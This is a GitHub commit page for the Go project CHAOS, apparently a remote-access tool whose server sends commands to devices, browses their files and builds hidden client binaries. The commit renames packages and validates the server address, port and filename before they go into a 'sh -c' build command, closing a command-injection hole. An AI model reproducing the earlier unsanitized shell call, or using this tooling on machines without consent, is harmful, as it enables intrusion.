Skip to content

Commit

Permalink
Merge pull request #95 from tiagorlampert/fix/command
Browse files Browse the repository at this point in the history
Fix/validate input values
  • Loading branch information
tiagorlampert committed Jul 16, 2022
2 parents 8963de2 + 24c9e10 commit b47438d
Show file tree
Hide file tree
Showing 25 changed files with 113 additions and 55 deletions.
8 changes: 4 additions & 4 deletions cmd/chaos/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -9,10 +9,10 @@ import (
"github.com/tiagorlampert/CHAOS/infrastructure/database"
"github.com/tiagorlampert/CHAOS/internal/environment"
"github.com/tiagorlampert/CHAOS/internal/middleware"
"github.com/tiagorlampert/CHAOS/internal/utilities/constants"
"github.com/tiagorlampert/CHAOS/internal/utilities/system"
"github.com/tiagorlampert/CHAOS/internal/utilities/template"
"github.com/tiagorlampert/CHAOS/internal/utilities/ui"
"github.com/tiagorlampert/CHAOS/internal/utils/constants"
"github.com/tiagorlampert/CHAOS/internal/utils/system"
"github.com/tiagorlampert/CHAOS/internal/utils/template"
"github.com/tiagorlampert/CHAOS/internal/utils/ui"
"github.com/tiagorlampert/CHAOS/repositories/sqlite"
"github.com/tiagorlampert/CHAOS/services"
"net/http"
Expand Down
18 changes: 9 additions & 9 deletions delivery/http/handler.go
Original file line number Diff line number Diff line change
Expand Up @@ -10,10 +10,10 @@ import (
"github.com/sirupsen/logrus"
"github.com/tiagorlampert/CHAOS/delivery/http/request"
"github.com/tiagorlampert/CHAOS/entities"
"github.com/tiagorlampert/CHAOS/internal/utilities"
"github.com/tiagorlampert/CHAOS/internal/utilities/constants"
"github.com/tiagorlampert/CHAOS/internal/utilities/network"
"github.com/tiagorlampert/CHAOS/internal/utilities/system"
"github.com/tiagorlampert/CHAOS/internal/utils"
"github.com/tiagorlampert/CHAOS/internal/utils/constants"
"github.com/tiagorlampert/CHAOS/internal/utils/network"
"github.com/tiagorlampert/CHAOS/internal/utils/system"
"github.com/tiagorlampert/CHAOS/services"
"net/http"
"path/filepath"
Expand Down Expand Up @@ -185,7 +185,7 @@ func (h *httpController) sendCommandHandler(c *gin.Context) {

func (h *httpController) getCommandHandler(c *gin.Context) {
address := c.Query("address")
decoded, err := utilities.DecodeBase64(address)
decoded, err := utils.DecodeBase64(address)
if err != nil {
c.String(http.StatusBadRequest, err.Error())
return
Expand Down Expand Up @@ -239,11 +239,11 @@ func (h *httpController) generateBinaryPostHandler(c *gin.Context) {
ServerPort: req.Port,
OSTarget: system.OSTargetIntMap[osTarget],
Filename: req.Filename,
RunHidden: utilities.ParseCheckboxBoolean(req.RunHidden),
RunHidden: utils.ParseCheckboxBoolean(req.RunHidden),
})
if err != nil {
h.Logger.Error(err)
c.String(http.StatusInternalServerError, err.Error())
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.String(http.StatusOK, binary)
Expand Down Expand Up @@ -274,7 +274,7 @@ func (h *httpController) fileExplorerHandler(c *gin.Context) {
c.String(http.StatusBadRequest, err.Error())
return
}
path, err := utilities.DecodeBase64(req.Path)
path, err := utils.DecodeBase64(req.Path)
if err != nil {
c.String(http.StatusBadRequest, err.Error())
return
Expand All @@ -293,7 +293,7 @@ func (h *httpController) fileExplorerHandler(c *gin.Context) {
}

var fileExplorer entities.FileExplorer
err = json.Unmarshal(utilities.StringToByte(payload.Response), &fileExplorer)
err = json.Unmarshal(utils.StringToByte(payload.Response), &fileExplorer)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
Expand Down
2 changes: 1 addition & 1 deletion internal/middleware/jwt.go
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@ import (
"github.com/appleboy/gin-jwt/v2"
"github.com/gin-gonic/gin"
"github.com/tiagorlampert/CHAOS/entities"
jwtUtil "github.com/tiagorlampert/CHAOS/internal/utilities/jwt"
jwtUtil "github.com/tiagorlampert/CHAOS/internal/utils/jwt"
"github.com/tiagorlampert/CHAOS/services"
"net/http"
"time"
Expand Down
15 changes: 0 additions & 15 deletions internal/utilities/string.go

This file was deleted.

2 changes: 1 addition & 1 deletion internal/utilities/base64.go → internal/utils/base64.go
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package utilities
package utils

import "encoding/base64"

Expand Down
2 changes: 1 addition & 1 deletion internal/utilities/byte.go → internal/utils/byte.go
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package utilities
package utils

func ByteToString(value []byte) string {
return string(value)
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package utilities
package utils

func ParseCheckboxBoolean(value string) bool {
if value == "true" {
Expand Down
File renamed without changes.
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@ package image
import (
"fmt"
"github.com/google/uuid"
"github.com/tiagorlampert/CHAOS/internal/utilities/constants"
"github.com/tiagorlampert/CHAOS/internal/utils/constants"
"os"
)

Expand Down
File renamed without changes.
File renamed without changes.
File renamed without changes.
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package utilities
package utils

import (
"golang.org/x/crypto/bcrypt"
Expand Down
35 changes: 35 additions & 0 deletions internal/utils/string.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
package utils

import (
"crypto/rand"
"regexp"
"strconv"
"strings"
)

const characters = `0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz`

// GenerateRandomString generate a random string based on a given size
func GenerateRandomString(size int) string {
var bytes = make([]byte, size)
rand.Read(bytes)
for i, x := range bytes {
bytes[i] = characters[x%byte(len(characters))]
}
return string(bytes)
}

func NormalizeString(s string) (string, error) {
re, err := regexp.Compile(`\W`)
if err != nil {
return "", err
}
return strings.TrimSpace(re.ReplaceAllString(s, "")), nil
}

func StringIsNumber(s string) bool {
if _, err := strconv.Atoi(s); err == nil {
return true
}
return false
}
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
17 changes: 17 additions & 0 deletions internal/utils/validation.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
package utils

import (
"net"
"net/url"
)

func IsValidIPAddress(s string) bool {
return net.ParseIP(s) != nil
}

func IsValidURL(s string) bool {
if _, err := url.ParseRequestURI(s); err != nil {
return false
}
return true
}
6 changes: 3 additions & 3 deletions services/auth_service.go
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@ import (
"fmt"
"github.com/sirupsen/logrus"
"github.com/tiagorlampert/CHAOS/entities"
"github.com/tiagorlampert/CHAOS/internal/utilities"
"github.com/tiagorlampert/CHAOS/internal/utils"
"github.com/tiagorlampert/CHAOS/repositories"
"strings"
)
Expand Down Expand Up @@ -47,7 +47,7 @@ func (s authService) Setup() (*entities.Auth, error) {
if hasProvidedSecretKey {
dummyAuth.SecretKey = s.secretKey
} else {
dummyAuth.SecretKey = utilities.GenerateRandomString(secretKeySize)
dummyAuth.SecretKey = utils.GenerateRandomString(secretKeySize)
}
return &dummyAuth, s.authRepository.Insert(dummyAuth)
}
Expand All @@ -74,7 +74,7 @@ func (s authService) RefreshSecret() (string, error) {
}
if err := s.authRepository.Update(entities.Auth{
DBModel: auth.DBModel,
SecretKey: utilities.GenerateRandomString(secretKeySize),
SecretKey: utils.GenerateRandomString(secretKeySize),
}); err != nil {
return "", err
}
Expand Down
8 changes: 7 additions & 1 deletion services/client.go
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,8 @@ package services

import (
"context"
"github.com/tiagorlampert/CHAOS/internal/utilities/system"
"errors"
"github.com/tiagorlampert/CHAOS/internal/utils/system"
)

type (
Expand All @@ -21,6 +22,11 @@ type (
}
)

var (
ErrInvalidServerAddress = errors.New("the server address provided is invalid")
ErrInvalidServerPort = errors.New("the server port provided is invalid")
)

type Client interface {
SendCommand(ctx context.Context, input SendCommandInput) (SendCommandOutput, error)
BuildClient(BuildClientBinaryInput) (string, error)
Expand Down
32 changes: 23 additions & 9 deletions services/client_service.go
Original file line number Diff line number Diff line change
Expand Up @@ -4,11 +4,11 @@ import (
"context"
"fmt"
"github.com/google/uuid"
"github.com/tiagorlampert/CHAOS/internal/utilities"
"github.com/tiagorlampert/CHAOS/internal/utilities/constants"
"github.com/tiagorlampert/CHAOS/internal/utilities/image"
"github.com/tiagorlampert/CHAOS/internal/utilities/jwt"
"github.com/tiagorlampert/CHAOS/internal/utilities/system"
"github.com/tiagorlampert/CHAOS/internal/utils"
"github.com/tiagorlampert/CHAOS/internal/utils/constants"
"github.com/tiagorlampert/CHAOS/internal/utils/image"
"github.com/tiagorlampert/CHAOS/internal/utils/jwt"
"github.com/tiagorlampert/CHAOS/internal/utils/system"
repo "github.com/tiagorlampert/CHAOS/repositories"
"os/exec"
"strings"
Expand Down Expand Up @@ -38,7 +38,7 @@ func NewClient(
}

func (c clientService) SendCommand(ctx context.Context, input SendCommandInput) (SendCommandOutput, error) {
addr, err := utilities.DecodeBase64(input.MacAddress)
addr, err := utils.DecodeBase64(input.MacAddress)
if err != nil {
return SendCommandOutput{}, fmt.Errorf(`error decoding base64: %w`, err)
}
Expand All @@ -60,7 +60,7 @@ func (c clientService) SendCommand(ctx context.Context, input SendCommandInput)
}
}

res := utilities.ByteToString(payload.Response)
res := utils.ByteToString(payload.Response)
if payload.HasError {
return SendCommandOutput{}, fmt.Errorf(res)
}
Expand All @@ -77,7 +77,7 @@ func HandleResponse(payload *PayloadData) (*PayloadData, error) {
if err != nil {
return nil, err
}
payload.Response = utilities.StringToByte(file)
payload.Response = utils.StringToByte(file)
break
default:
return payload, nil
Expand All @@ -86,13 +86,27 @@ func HandleResponse(payload *PayloadData) (*PayloadData, error) {
}

func (c clientService) BuildClient(input BuildClientBinaryInput) (string, error) {
if !utils.IsValidIPAddress(input.ServerAddress) &&
!utils.IsValidURL(input.ServerAddress) {
return "", ErrInvalidServerAddress
}

if !utils.StringIsNumber(input.ServerPort) {
return "", ErrInvalidServerPort
}

filename, err := utils.NormalizeString(input.Filename)
if err != nil {
return "", err
}

token, err := c.GenerateNewToken()
if err != nil {
return "", err
}

const buildStr = `GO_ENABLED=1 GOOS=%s GOARCH=amd64 go build -ldflags '%s -s -w -X main.Version=%s -X main.ServerPort=%s -X main.ServerAddress=%s -X main.Token=%s -extldflags "-static"' -o ../temp/%s main.go`
filename := handleFilename(input.OSTarget, input.Filename)
filename = handleFilename(input.OSTarget, filename)
buildCmd := fmt.Sprintf(buildStr, handleOSType(input.OSTarget), runHidden(input.RunHidden), c.appVersion, input.ServerPort, input.ServerAddress, token, filename)
cmd := exec.Command("sh", "-c", buildCmd)
cmd.Dir = "client/"
Expand Down
4 changes: 2 additions & 2 deletions services/device_service.go
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@ package services
import (
"errors"
"github.com/tiagorlampert/CHAOS/entities"
"github.com/tiagorlampert/CHAOS/internal/utilities"
"github.com/tiagorlampert/CHAOS/internal/utils"
"github.com/tiagorlampert/CHAOS/repositories"
"time"
)
Expand All @@ -30,7 +30,7 @@ func (d deviceService) FindAll() ([]entities.Device, error) {
return nil, err
}
for index, device := range devices {
devices[index].MacAddressBase64 = utilities.EncodeBase64(device.MacAddress)
devices[index].MacAddressBase64 = utils.EncodeBase64(device.MacAddress)
}
return devices, nil
}
10 changes: 5 additions & 5 deletions services/user_service.go
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@ package services

import (
"github.com/tiagorlampert/CHAOS/entities"
"github.com/tiagorlampert/CHAOS/internal/utilities"
"github.com/tiagorlampert/CHAOS/internal/utils"
repo "github.com/tiagorlampert/CHAOS/repositories"
)

Expand All @@ -24,7 +24,7 @@ func (u userService) Login(username, password string) bool {
if err != nil {
return false
}
return utilities.PasswordsMatch(user.Password, password)
return utils.PasswordsMatch(user.Password, password)
}

func (u userService) Insert(input entities.User) error {
Expand All @@ -42,11 +42,11 @@ func (u userService) UpdatePassword(input UpdateUserPasswordInput) error {
if err != nil {
return err
}
if !utilities.PasswordsMatch(user.Password, input.OldPassword) {
if !utils.PasswordsMatch(user.Password, input.OldPassword) {
return ErrInvalidPassword
}

passwordHash, err := utilities.HashAndSalt(input.NewPassword)
passwordHash, err := utils.HashAndSalt(input.NewPassword)
if err != nil {
return err
}
Expand All @@ -63,7 +63,7 @@ func (u userService) CreateDefaultUser() error {
return err
}

passwordHash, err := utilities.HashAndSalt(defaultPassword)
passwordHash, err := utils.HashAndSalt(defaultPassword)
if err != nil {
return err
}
Expand Down
3 changes: 2 additions & 1 deletion web/static/js/app/generate.js
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,7 @@ async function GenerateBinary() {
.then(response => {
if (!response.ok) {
return response.text().then(err => {
throw new Error(err.message);
throw new Error(err);
});
}
return response.text();
Expand All @@ -32,6 +32,7 @@ async function GenerateBinary() {
})
.catch(err => {
console.log('Error: ', err);
Swal.close();
ShowNotification('danger', 'Ops!', 'Failed building client binary.\n' + JSON.parse(err.message).error)
});
}
Expand Down

0 comments on commit b47438d

Please sign in to comment.